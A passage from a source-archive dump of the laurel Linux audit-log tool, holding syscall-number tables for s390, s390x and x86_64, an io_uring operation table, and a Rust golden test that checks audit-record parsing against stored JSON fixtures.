_S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread") _S(181, "pwrite") _S(182, "chown") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(188, "getpmsg") _S(189, "putpmsg") _S(190, "vfork") _S(191, "ugetrlimit") _S(192, "mmap2") _S(193, "truncate64") _S(194, "ftruncate64") _S(195, "stat64") _S(196, "lstat64") _S(197, "fstat64") _S(198, "lchown32") _S(199, "getuid32") _S(200, "getgid32") _S(201, "geteuid32") _S(202, "getegid32") _S(203, "setreuid32") _S(204, "setregid32") _S(205, "getgroups32") _S(206, "setgroups32") _S(207, "fchown32") _S(208, "setresuid32") _S(209, "getresuid32") _S(210, "setresgid32") _S(211, "getresgid32") _S(212, "chown32") _S(213, "setuid32") _S(214, "setgid32") _S(215, "setfsuid32") _S(216, "setfsgid32") _S(217, "pivot_root") _S(218, "mincore") _S(219, "madvise") _S(220, "getdents64") _S(221, "fcntl64") _S(222, "readahead") _S(223, "sendfile64") _S(224, "setxattr") _S(225, "lsetxattr") _S(226, "fsetxattr") _S(227, "getxattr") _S(228, "lgetxattr") _S(229, "fgetxattr") _S(230, "listxattr") _S(231, "llistxattr") _S(232, "flistxattr") _S(233, "removexattr") _S(234, "lremovexattr") _S(235, "fremovexattr") _S(236, "gettid") _S(237, "tkill") _S(238, "futex") _S(239, "sched_setaffinity") _S(240, "sched_getaffinity") _S(241, "tgkill") //_S(242, "") _S(243, "io_setup") _S(244, "io_destroy") _S(245, "io_getevents") _S(246, "io_submit") _S(247, "io_cancel") _S(248, "exit_group") _S(249, "epoll_create") _S(250, "epoll_ctl") _S(251, "epoll_wait") _S(252, "set_tid_address") _S(253, "fadvise64") _S(254, "timer_create") _S(255, "timer_settime") _S(256, "timer_gettime") _S(257, "timer_getoverrun") _S(258, "timer_delete") _S(259, "clock_settime") _S(260, "clock_gettime") _S(261, "clock_getres") _S(262, "clock_nanosleep") //_S(263, "") _S(264, "fadvise64_64") _S(265, "statfs64") _S(266, "fstatfs64") _S(267, "remap_file_pages") _S(268, "mbind") _S(269, "get_mempolicy") _S(270, "set_mempolicy") _S(271, "mq_open") _S(272, "mq_unlink") _S(273, "mq_timedsend") _S(274, "mq_timedreceive") _S(275, "mq_notify") _S(276, "mq_getsetattr") _S(277, "kexec_load") _S(278, "add_key") _S(279, "request_key") _S(280, "keyctl") _S(281, "waitid") _S(282, "ioprio_set") _S(283, "ioprio_get") _S(284, "inotify_init") _S(285, "inotify_add_watch") _S(286, "inotify_rm_watch") _S(287, "migrate_pages") _S(288, "openat") _S(289, "mkdirat") _S(290, "mknodat") _S(291, "fchownat") _S(292, "futimesat") _S(293, "fstatat64") _S(294, "unlinkat") _S(295, "renameat") _S(296, "linkat") _S(297, "symlinkat") _S(298, "readlinkat") _S(299, "fchmodat") _S(300, "faccessat") _S(301, "pselect6") _S(302, "ppoll") _S(303, "unshare") _S(304, "set_robust_list") _S(305, "get_robust_list") _S(306, "splice") _S(307, "sync_file_range") _S(308, "tee") _S(309, "vmsplice") _S(310, "move_pages") _S(311, "getcpu") _S(312, "epoll_pwait") _S(313, "utimes") _S(314, "fallocate") _S(315, "utimensat") _S(316, "signalfd") _S(317, "timerfd") _S(318, "eventfd") _S(319, "timerfd_create") _S(320, "timerfd_settime") _S(321, "timerfd_gettime") _S(322, "signalfd4") _S(323, "eventfd2") _S(324, "inotify_init1") _S(325, "pipe2") _S(326, "dup3") _S(327, "epoll_create1") _S(328, "preadv") _S(329, "pwritev") _S(330, "rt_tgsigqueueinfo") _S(331, "perf_event_open") _S(332, "fanotify_init") _S(333, "fanotify_mark") _S(334, "prlimit64") _S(335, "name_to_handle_at") _S(336, "open_by_handle_at") _S(337, "clock_adjtime") _S(338, "syncfs") _S(339, "setns") _S(340, "process_vm_readv") _S(341, "process_vm_writev") _S(342, "s390_runtime_instr") _S(343, "kcmp") _S(344, "finit_module") _S(345, "sched_setattr") _S(346, "sched_getattr") _S(347, "renameat2") _S(348, "seccomp") _S(349, "getrandom") _S(350, "memfd_create") _S(351, "bpf") _S(352, "s390_pci_mmio_write") _S(353, "s390_pci_mmio_read") _S(354, "execveat") _S(355, "userfaultfd") _S(356, "membarrier") _S(357, "recvmmsg") _S(358, "sendmmsg") _S(359, "socket") _S(360, "socketpair") _S(361, "bind") _S(362, "connect") _S(363, "listen") _S(364, "accept4") _S(365, "getsockopt") _S(366, "setsockopt") _S(367, "getsockname") _S(368, "getpeername") _S(369, "sendto") _S(370, "sendmsg") _S(371, "recvfrom") _S(372, "recvmsg") _S(373, "shutdown") _S(374, "mlock2") _S(375, "copy_file_range") _S(376, "preadv2") _S(377, "pwritev2") _S(378, "s390_guarded_storage") _S(379, "statx") _S(380, "s390_sthyi") _S(381, "kexec_file_load") _S(382, "io_pgetevents") _S(383, "rseq") _S(384, "pkey_mprotect") _S(385, "pkey_alloc") _S(386, "pkey_free") _S(393, "semget") _S(394, "semctl") _S(395, "shmget") _S(396, "shmctl") _S(397, "shmat") _S(398, "shmdt") _S(399, "msgget") _S(400, "msgsnd") _S(401, "msgrcv") _S(402, "msgctl") _S(403, "clock_gettime64") _S(404, "clock_settime64") _S(405, "clock_adjtime64") _S(406, "clock_getres_time64") _S(407, "clock_nanosleep_time64") _S(408, "timer_gettime64") _S(409, "timer_settime64") _S(410, "timerfd_gettime64") _S(411, "timerfd_settime64") _S(412, "utimensat_time64") _S(413, "pselect6_time64") _S(414, "ppoll_time64") _S(416, "io_pgetevents_time64") _S(417, "recvmmsg_time64") _S(418, "mq_timedsend_time64") _S(419, "mq_timedreceive_time64") _S(420, "semtimedop_time64") _S(421, "rt_sigtimedwait_time64") _S(422, "futex_time64") _S(423, "sched_rr_get_interval_time64") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/s390x_table.h000064400000000000000000000214051046102023000163470ustar 00000000000000/* s390x_table.h -- 64 bit * Copyright 2005-06,2008-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(1, "exit") _S(2, "fork") _S(3, "read") _S(4, "write") _S(5, "open") _S(6, "close") _S(7, "restart_syscall") _S(8, "creat") _S(9, "link") _S(10, "unlink") _S(11, "execve") _S(12, "chdir") _S(14, "mknod") _S(15, "chmod") _S(19, "lseek") _S(20, "getpid") _S(21, "mount") _S(22, "umount") _S(26, "ptrace") _S(27, "alarm") _S(29, "pause") _S(30, "utime") _S(33, "access") _S(34, "nice") _S(36, "sync") _S(37, "kill") _S(38, "rename") _S(39, "mkdir") _S(40, "rmdir") _S(41, "dup") _S(42, "pipe") _S(43, "times") _S(45, "brk") _S(48, "signal") _S(51, "acct") _S(52, "umount2") _S(54, "ioctl") _S(55, "fcntl") _S(57, "setpgid") _S(60, "umask") _S(61, "chroot") _S(62, "ustat") _S(63, "dup2") _S(64, "getppid") _S(65, "getpgrp") _S(66, "setsid") _S(67, "sigaction") _S(72, "sigsuspend") _S(73, "sigpending") _S(74, "sethostname") _S(75, "setrlimit") _S(77, "getrusage") _S(78, "gettimeofday") _S(79, "settimeofday") _S(83, "symlink") _S(85, "readlink") _S(86, "uselib") _S(87, "swapon") _S(88, "reboot") _S(89, "readdir") _S(90, "mmap") _S(91, "munmap") _S(92, "truncate") _S(93, "ftruncate") _S(94, "fchmod") _S(96, "getpriority") _S(97, "setpriority") _S(99, "statfs") _S(100, "fstatfs") _S(102, "socketcall") _S(103, "syslog") _S(104, "setitimer") _S(105, "getitimer") _S(106, "stat") _S(107, "lstat") _S(108, "fstat") _S(110, "lookup_dcookie") _S(111, "vhangup") _S(112, "idle") _S(114, "wait4") _S(115, "swapoff") _S(116, "sysinfo") _S(117, "ipc") _S(118, "fsync") _S(119, "sigreturn") _S(120, "clone") _S(121, "setdomainname") _S(122, "uname") _S(124, "adjtimex") _S(125, "mprotect") _S(126, "sigprocmask") _S(127, "create_module") _S(128, "init_module") _S(129, "delete_module") _S(130, "get_kernel_syms") _S(131, "quotactl") _S(132, "getpgid") _S(133, "fchdir") _S(134, "bdflush") _S(135, "sysfs") _S(136, "personality") _S(137, "afs_syscall") _S(141, "getdents") _S(142, "select") _S(143, "flock") _S(144, "msync") _S(145, "readv") _S(146, "writev") _S(147, "getsid") _S(148, "fdatasync") _S(149, "_sysctl") _S(150, "mlock") _S(151, "munlock") _S(152, "mlockall") _S(153, "munlockall") _S(154, "sched_setparam") _S(155, "sched_getparam") _S(156, "sched_setscheduler") _S(157, "sched_getscheduler") _S(158, "sched_yield") _S(159, "sched_get_priority_max") _S(160, "sched_get_priority_min") _S(161, "sched_rr_get_interval") _S(162, "nanosleep") _S(163, "mremap") _S(167, "query_module") _S(168, "poll") _S(169, "nfsservctl") _S(172, "prctl") _S(173, "rt_sigreturn") _S(174, "rt_sigaction") _S(175, "rt_sigprocmask") _S(176, "rt_sigpending") _S(177, "rt_sigtimedwait") _S(178, "rt_sigqueueinfo") _S(179, "rt_sigsuspend") _S(180, "pread") _S(181, "pwrite") _S(183, "getcwd") _S(184, "capget") _S(185, "capset") _S(186, "sigaltstack") _S(187, "sendfile") _S(188, "getpmsg") _S(189, "putpmsg") _S(190, "vfork") _S(191, "getrlimit") _S(198, "lchown") _S(199, "getuid") _S(200, "getgid") _S(201, "geteuid") _S(202, "getegid") _S(203, "setreuid") _S(204, "setregid") _S(205, "getgroups") _S(206, "setgroups") _S(207, "fchown") _S(208, "setresuid") _S(209, "getresuid") _S(210, "setresgid") _S(211, "getresgid") _S(212, "chown") _S(213, "setuid") _S(214, "setgid") _S(215, "setfsuid") _S(216, "setfsgid") _S(217, "pivot_root") _S(218, "mincore") _S(219, "madvise") _S(220, "getdents64") _S(222, "readahead") _S(224, "setxattr") _S(225, "lsetxattr") _S(226, "fsetxattr") _S(227, "getxattr") _S(228, "lgetxattr") _S(229, "fgetxattr") _S(230, "listxattr") _S(231, "llistxattr") _S(232, "flistxattr") _S(233, "removexattr") _S(234, "lremovexattr") _S(235, "fremovexattr") _S(236, "gettid") _S(237, "tkill") _S(238, "futex") _S(239, "sched_setaffinity") _S(240, "sched_getaffinity") _S(241, "tgkill") _S(243, "io_setup") _S(244, "io_destroy") _S(245, "io_getevents") _S(246, "io_submit") _S(247, "io_cancel") _S(248, "exit_group") _S(249, "epoll_create") _S(250, "epoll_ctl") _S(251, "epoll_wait") _S(252, "set_tid_address") _S(253, "fadvise64") _S(254, "timer_create") _S(255, "timer_settime") _S(256, "timer_gettime") _S(257, "timer_getoverrun") _S(258, "timer_delete") _S(259, "clock_settime") _S(260, "clock_gettime") _S(261, "clock_getres") _S(262, "clock_nanosleep") _S(265, "statfs64") _S(266, "fstatfs64") _S(267, "remap_file_pages") _S(268, "mbind") _S(269, "get_mempolicy") _S(270, "set_mempolicy") _S(271, "mq_open") _S(272, "mq_unlink") _S(273, "mq_timedsend") _S(274, "mq_timedreceive") _S(275, "mq_notify") _S(276, "mq_getsetattr") _S(277, "kexec_load") _S(278, "add_key") _S(279, "request_key") _S(280, "keyctl") _S(281, "waitid") _S(282, "ioprio_set") _S(283, "ioprio_get") _S(284, "inotify_init") _S(285, "inotify_add_watch") _S(286, "inotify_rm_watch") _S(287, "migrate_pages") _S(288, "openat") _S(289, "mkdirat") _S(290, "mknodat") _S(291, "fchownat") _S(292, "futimesat") _S(293, "newfstatat") _S(294, "unlinkat") _S(295, "renameat") _S(296, "linkat") _S(297, "symlinkat") _S(298, "readlinkat") _S(299, "fchmodat") _S(300, "faccessat") _S(301, "pselect6") _S(302, "ppoll") _S(303, "unshare") _S(304, "set_robust_list") _S(305, "get_robust_list") _S(306, "splice") _S(307, "sync_file_range") _S(308, "tee") _S(309, "vmsplice") _S(310, "move_pages") _S(311, "getcpu") _S(312, "epoll_pwait") _S(313, "utimes") _S(314, "fallocate") _S(315, "utimensat") _S(316, "signalfd") _S(317, "timerfd") _S(318, "eventfd") _S(319, "timerfd_create") _S(320, "timerfd_settime") _S(321, "timerfd_gettime") _S(322, "signalfd4") _S(323, "eventfd2") _S(324, "inotify_init1") _S(325, "pipe2") _S(326, "dup3") _S(327, "epoll_create1") _S(328, "preadv") _S(329, "pwritev") _S(330, "rt_tgsigqueueinfo") _S(331, "perf_event_open") _S(332, "fanotify_init") _S(333, "fanotify_mark") _S(334, "prlimit64") _S(335, "name_to_handle_at") _S(336, "open_by_handle_at") _S(337, "clock_adjtime") _S(338, "syncfs") _S(339, "setns") _S(340, "process_vm_readv") _S(341, "process_vm_writev") _S(342, "s390_runtime_instr") _S(343, "kcmp") _S(344, "finit_module") _S(345, "sched_setattr") _S(346, "sched_getattr") _S(347, "renameat2") _S(348, "seccomp") _S(349, "getrandom") _S(350, "memfd_create") _S(351, "bpf") _S(352, "s390_pci_mmio_write") _S(353, "s390_pci_mmio_read") _S(354, "execveat") _S(355, "userfaultfd") _S(356, "membarrier") _S(357, "recvmmsg") _S(358, "sendmmsg") _S(359, "socket") _S(360, "socketpair") _S(361, "bind") _S(362, "connect") _S(363, "listen") _S(364, "accept4") _S(365, "getsockopt") _S(366, "setsockopt") _S(367, "getsockname") _S(368, "getpeername") _S(369, "sendto") _S(370, "sendmsg") _S(371, "recvfrom") _S(372, "recvmsg") _S(373, "shutdown") _S(374, "mlock2") _S(375, "copy_file_range") _S(376, "preadv2") _S(377, "pwritev2") _S(378, "s390_guarded_storage") _S(379, "statx") _S(380, "s390_sthyi") _S(381, "kexec_file_load") _S(382, "io_pgetevents") _S(383, "rseq") _S(384, "pkey_mprotect") _S(385, "pkey_alloc") _S(386, "pkey_free") _S(392, "semtimedop") _S(393, "semget") _S(394, "semctl") _S(395, "shmget") _S(396, "shmctl") _S(397, "shmat") _S(398, "shmdt") _S(399, "msgget") _S(400, "msgsnd") _S(401, "msgrcv") _S(402, "msgctl") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/syscall/x86_64_table.h000064400000000000000000000211051046102023000164140ustar 00000000000000/* x86_64_table.h -- * Copyright 2005-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "read") _S(1, "write") _S(2, "open") _S(3, "close") _S(4, "stat") _S(5, "fstat") _S(6, "lstat") _S(7, "poll") _S(8, "lseek") _S(9, "mmap") _S(10, "mprotect") _S(11, "munmap") _S(12, "brk") _S(13, "rt_sigaction") _S(14, "rt_sigprocmask") _S(15, "rt_sigreturn") _S(16, "ioctl") _S(17, "pread") _S(18, "pwrite") _S(19, "readv") _S(20, "writev") _S(21, "access") _S(22, "pipe") _S(23, "select") _S(24, "sched_yield") _S(25, "mremap") _S(26, "msync") _S(27, "mincore") _S(28, "madvise") _S(29, "shmget") _S(30, "shmat") _S(31, "shmctl") _S(32, "dup") _S(33, "dup2") _S(34, "pause") _S(35, "nanosleep") _S(36, "getitimer") _S(37, "alarm") _S(38, "setitimer") _S(39, "getpid") _S(40, "sendfile") _S(41, "socket") _S(42, "connect") _S(43, "accept") _S(44, "sendto") _S(45, "recvfrom") _S(46, "sendmsg") _S(47, "recvmsg") _S(48, "shutdown") _S(49, "bind") _S(50, "listen") _S(51, "getsockname") _S(52, "getpeername") _S(53, "socketpair") _S(54, "setsockopt") _S(55, "getsockopt") _S(56, "clone") _S(57, "fork") _S(58, "vfork") _S(59, "execve") _S(60, "exit") _S(61, "wait4") _S(62, "kill") _S(63, "uname") _S(64, "semget") _S(65, "semop") _S(66, "semctl") _S(67, "shmdt") _S(68, "msgget") _S(69, "msgsnd") _S(70, "msgrcv") _S(71, "msgctl") _S(72, "fcntl") _S(73, "flock") _S(74, "fsync") _S(75, "fdatasync") _S(76, "truncate") _S(77, "ftruncate") _S(78, "getdents") _S(79, "getcwd") _S(80, "chdir") _S(81, "fchdir") _S(82, "rename") _S(83, "mkdir") _S(84, "rmdir") _S(85, "creat") _S(86, "link") _S(87, "unlink") _S(88, "symlink") _S(89, "readlink") _S(90, "chmod") _S(91, "fchmod") _S(92, "chown") _S(93, "fchown") _S(94, "lchown") _S(95, "umask") _S(96, "gettimeofday") _S(97, "getrlimit") _S(98, "getrusage") _S(99, "sysinfo") _S(100, "times") _S(101, "ptrace") _S(102, "getuid") _S(103, "syslog") _S(104, "getgid") _S(105, "setuid") _S(106, "setgid") _S(107, "geteuid") _S(108, "getegid") _S(109, "setpgid") _S(110, "getppid") _S(111, "getpgrp") _S(112, "setsid") _S(113, "setreuid") _S(114, "setregid") _S(115, "getgroups") _S(116, "setgroups") _S(117, "setresuid") _S(118, "getresuid") _S(119, "setresgid") _S(120, "getresgid") _S(121, "getpgid") _S(122, "setfsuid") _S(123, "setfsgid") _S(124, "getsid") _S(125, "capget") _S(126, "capset") _S(127, "rt_sigpending") _S(128, "rt_sigtimedwait") _S(129, "rt_sigqueueinfo") _S(130, "rt_sigsuspend") _S(131, "sigaltstack") _S(132, "utime") _S(133, "mknod") _S(134, "uselib") _S(135, "personality") _S(136, "ustat") _S(137, "statfs") _S(138, "fstatfs") _S(139, "sysfs") _S(140, "getpriority") _S(141, "setpriority") _S(142, "sched_setparam") _S(143, "sched_getparam") _S(144, "sched_setscheduler") _S(145, "sched_getscheduler") _S(146, "sched_get_priority_max") _S(147, "sched_get_priority_min") _S(148, "sched_rr_get_interval") _S(149, "mlock") _S(150, "munlock") _S(151, "mlockall") _S(152, "munlockall") _S(153, "vhangup") _S(154, "modify_ldt") _S(155, "pivot_root") _S(156, "_sysctl") _S(157, "prctl") _S(158, "arch_prctl") _S(159, "adjtimex") _S(160, "setrlimit") _S(161, "chroot") _S(162, "sync") _S(163, "acct") _S(164, "settimeofday") _S(165, "mount") _S(166, "umount2") _S(167, "swapon") _S(168, "swapoff") _S(169, "reboot") _S(170, "sethostname") _S(171, "setdomainname") _S(172, "iopl") _S(173, "ioperm") _S(174, "create_module") _S(175, "init_module") _S(176, "delete_module") _S(177, "get_kernel_syms") _S(178, "query_module") _S(179, "quotactl") _S(180, "nfsservctl") _S(181, "getpmsg") _S(182, "putpmsg") _S(183, "afs_syscall") _S(184, "tuxcall") _S(185, "security") _S(186, "gettid") _S(187, "readahead") _S(188, "setxattr") _S(189, "lsetxattr") _S(190, "fsetxattr") _S(191, "getxattr") _S(192, "lgetxattr") _S(193, "fgetxattr") _S(194, "listxattr") _S(195, "llistxattr") _S(196, "flistxattr") _S(197, "removexattr") _S(198, "lremovexattr") _S(199, "fremovexattr") _S(200, "tkill") _S(201, "time") _S(202, "futex") _S(203, "sched_setaffinity") _S(204, "sched_getaffinity") _S(205, "set_thread_area") _S(206, "io_setup") _S(207, "io_destroy") _S(208, "io_getevents") _S(209, "io_submit") _S(210, "io_cancel") _S(211, "get_thread_area") _S(212, "lookup_dcookie") _S(213, "epoll_create") _S(214, "epoll_ctl_old") _S(215, "epoll_wait_old") _S(216, "remap_file_pages") _S(217, "getdents64") _S(218, "set_tid_address") _S(219, "restart_syscall") _S(220, "semtimedop") _S(221, "fadvise64") _S(222, "timer_create") _S(223, "timer_settime") _S(224, "timer_gettime") _S(225, "timer_getoverrun") _S(226, "timer_delete") _S(227, "clock_settime") _S(228, "clock_gettime") _S(229, "clock_getres") _S(230, "clock_nanosleep") _S(231, "exit_group") _S(232, "epoll_wait") _S(233, "epoll_ctl") _S(234, "tgkill") _S(235, "utimes") _S(236, "vserver") _S(237, "mbind") _S(238, "set_mempolicy") _S(239, "get_mempolicy") _S(240, "mq_open") _S(241, "mq_unlink") _S(242, "mq_timedsend") _S(243, "mq_timedreceive") _S(244, "mq_notify") _S(245, "mq_getsetattr") _S(246, "kexec_load") _S(247, "waitid") _S(248, "add_key") _S(249, "request_key") _S(250, "keyctl") _S(251, "ioprio_set") _S(252, "ioprio_get") _S(253, "inotify_init") _S(254, "inotify_add_watch") _S(255, "inotify_rm_watch") _S(256, "migrate_pages") _S(257, "openat") _S(258, "mkdirat") _S(259, "mknodat") _S(260, "fchownat") _S(261, "futimesat") _S(262, "newfstatat") _S(263, "unlinkat") _S(264, "renameat") _S(265, "linkat") _S(266, "symlinkat") _S(267, "readlinkat") _S(268, "fchmodat") _S(269, "faccessat") _S(270, "pselect6") _S(271, "ppoll") _S(272, "unshare") _S(273, "set_robust_list") _S(274, "get_robust_list") _S(275, "splice") _S(276, "tee") _S(277, "sync_file_range") _S(278, "vmsplice") _S(279, "move_pages") _S(280, "utimensat") _S(281, "epoll_pwait") _S(282, "signalfd") _S(283, "timerfd_create") _S(284, "eventfd") _S(285, "fallocate") _S(286, "timerfd_settime") _S(287, "timerfd_gettime") _S(288, "accept4") _S(289, "signalfd4") _S(290, "eventfd2") _S(291, "epoll_create1") _S(292, "dup3") _S(293, "pipe2") _S(294, "inotify_init1") _S(295, "preadv") _S(296, "pwritev") _S(297, "rt_tgsigqueueinfo") _S(298, "perf_event_open") _S(299, "recvmmsg") _S(300, "fanotify_init") _S(301, "fanotify_mark") _S(302, "prlimit64") _S(303, "name_to_handle_at") _S(304, "open_by_handle_at") _S(305, "clock_adjtime") _S(306, "syncfs") _S(307, "sendmmsg") _S(308, "setns") _S(309, "getcpu") _S(310, "process_vm_readv") _S(311, "process_vm_writev") _S(312, "kcmp") _S(313, "finit_module") _S(314, "sched_setattr") _S(315, "sched_getattr") _S(316, "renameat2") _S(317, "seccomp") _S(318, "getrandom") _S(319, "memfd_create") _S(320, "kexec_file_load") _S(321, "bpf") _S(322, "execveat") _S(323, "userfaultfd") _S(324, "membarrier") _S(325, "mlock2") _S(326, "copy_file_range") _S(327, "preadv2") _S(328, "pwritev2") _S(329, "pkey_mprotect") _S(330, "pkey_alloc") _S(331, "pkey_free") _S(332, "statx") _S(333, "io_pgetevents") _S(334, "rseq") _S(335, "uretprobe") _S(424, "pidfd_send_signal") _S(425, "io_uring_setup") _S(426, "io_uring_enter") _S(427, "io_uring_register") _S(428, "open_tree") _S(429, "move_mount") _S(430, "fsopen") _S(431, "fsconfig") _S(432, "fsmount") _S(433, "fspick") _S(434, "pidfd_open") _S(435, "clone3") _S(436, "close_range") _S(437, "openat2") _S(438, "pidfd_getfd") _S(439, "faccessat2") _S(440, "process_madvise") _S(441, "epoll_pwait2") _S(442, "mount_setattr") _S(443, "quotactl_fd") _S(444, "landlock_create_ruleset") _S(445, "landlock_add_rule") _S(446, "landlock_restrict_self") _S(447, "memfd_secret") _S(448, "process_mrelease") _S(449, "futex_waitv") _S(450, "set_mempolicy_home_node") _S(451, "cachestat") _S(452, "fchmodat2") _S(453, "map_shadow_stack") _S(454, "futex_wake") _S(455, "futex_wait") _S(456, "futex_requeue") _S(457, "statmount") _S(458, "listmount") _S(459, "lsm_get_self_attr") _S(460, "lsm_set_self_attr") _S(461, "lsm_list_modules") _S(462, "mseal") _S(463, "setxattrat") _S(464, "getxattrat") _S(465, "listxattrat") _S(466, "removexattrat") laurel-0.7.1/src/tbl/uringop_table.h000064400000000000000000000035601046102023000154740ustar 00000000000000/* uringop_table.h -- * Copyright 2005-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335, USA * * Authors: * Richard Guy Briggs */ /* * Enums defined in include/uapi/linux/io_uring.h * Operations defined here: io_uring/opdef.c * * Note: not all ops are auditable for performance reasons. This was * discussed on the linux-audit mail list: * https://listman.redhat.com/archives/linux-audit/2021-June/018042.html * * Operations in opdef.c will have a field, audit_skip, if they are not * auditable. Any operation missing this is auditable and needs to be added. */ _S(9, "sendmsg") _S(10, "recvmsg") _S(13, "accept") _S(16, "connect") _S(17, "fallocate") _S(18, "openat") _S(19, "close") _S(28, "openat2") _S(34, "shutdown") _S(35, "renameat") _S(36, "unlinkat") _S(37, "mkdirat") _S(38, "symlinkat") _S(39, "linkat") _S(40, "msg_ring") _S(41, "fsetxattr") _S(42, "setxattr") _S(43, "fgetxattr") _S(44, "getxattr") _S(46, "uring_cmd") _S(48, "sendmsg_zc") _S(50, "waitid") _S(51, "futex_wait") _S(52, "futex_wake") _S(53, "futex_waitv") _S(54, "fixed_fd_install") _S(55, "ftruncate") _S(56, "bind") _S(57, "listen") laurel-0.7.1/src/test.rs000064400000000000000000000051111046102023000132270ustar 00000000000000use std::cell::RefCell; use std::error::Error; use std::io::{BufRead, BufReader}; use std::path::PathBuf; use std::rc::Rc; use crate::coalesce::Coalesce; use crate::types::Event; fn process_record(c: &mut Coalesce, text: T) -> Result<(), Box> where T: AsRef<[u8]>, { for line in BufReader::new(text.as_ref()) .lines() .filter(|line| match line { Ok(l) if l.is_empty() => false, Ok(l) if l.starts_with("#") => false, _ => true, }) { let mut line = line.unwrap().clone(); line.push('\n'); c.process_line(line.as_bytes())?; } Ok(()) } #[test] fn golden() -> Result<(), Box> { let prefix: PathBuf = "src/testdata".parse()?; let mut do_write = false; for (k, _v) in std::env::vars() { if k == "WRITE_GOLDEN" { do_write = true; } } for file in &[ "record-adjntpval.txt", "record-anom-promiscuous.txt", "record-avc-apparmor.txt", "record-bind-ipv4-bigendian.txt", "record-execve-long.txt", "record-execve.txt", "record-login.txt", "record-nscd.txt", "record-perl-reverse-shell.txt", "record-ptrace.txt", "record-syscall-key.txt", "record-syscall-nullkey.txt", "record-weblogic.txt", ] { let buf: Rc>> = Rc::new(RefCell::new(Vec::new())); let emit_fn = |e: &Event| { use std::ops::DerefMut; let mut b = buf.borrow_mut(); crate::json::to_writer(b.deref_mut(), e).unwrap(); b.deref_mut().push(b'\n'); }; let mut c = Coalesce::new(emit_fn); c.settings.enrich_uid_groups = false; c.settings.enrich_pid = false; c.settings.enrich_script = false; let txtfile = prefix.join(file); println!("processing {}", txtfile.to_string_lossy()); process_record(&mut c, std::fs::read(&txtfile)?)?; let mut jsonfile = txtfile.clone(); jsonfile.set_extension("json"); if do_write { println!("writing {}", jsonfile.to_string_lossy()); std::fs::write(jsonfile, buf.borrow().as_slice())?; } else { println!("comparing against {}", jsonfile.to_string_lossy()); let got = buf.borrow(); let expected = std::fs::read(jsonfile)?; print!(" got = {}", String::from_utf8_lossy(&got)); print!("expected = {}", String::from_utf8_lossy(&expected)); assert!(*got == expected); } } Ok(()) } 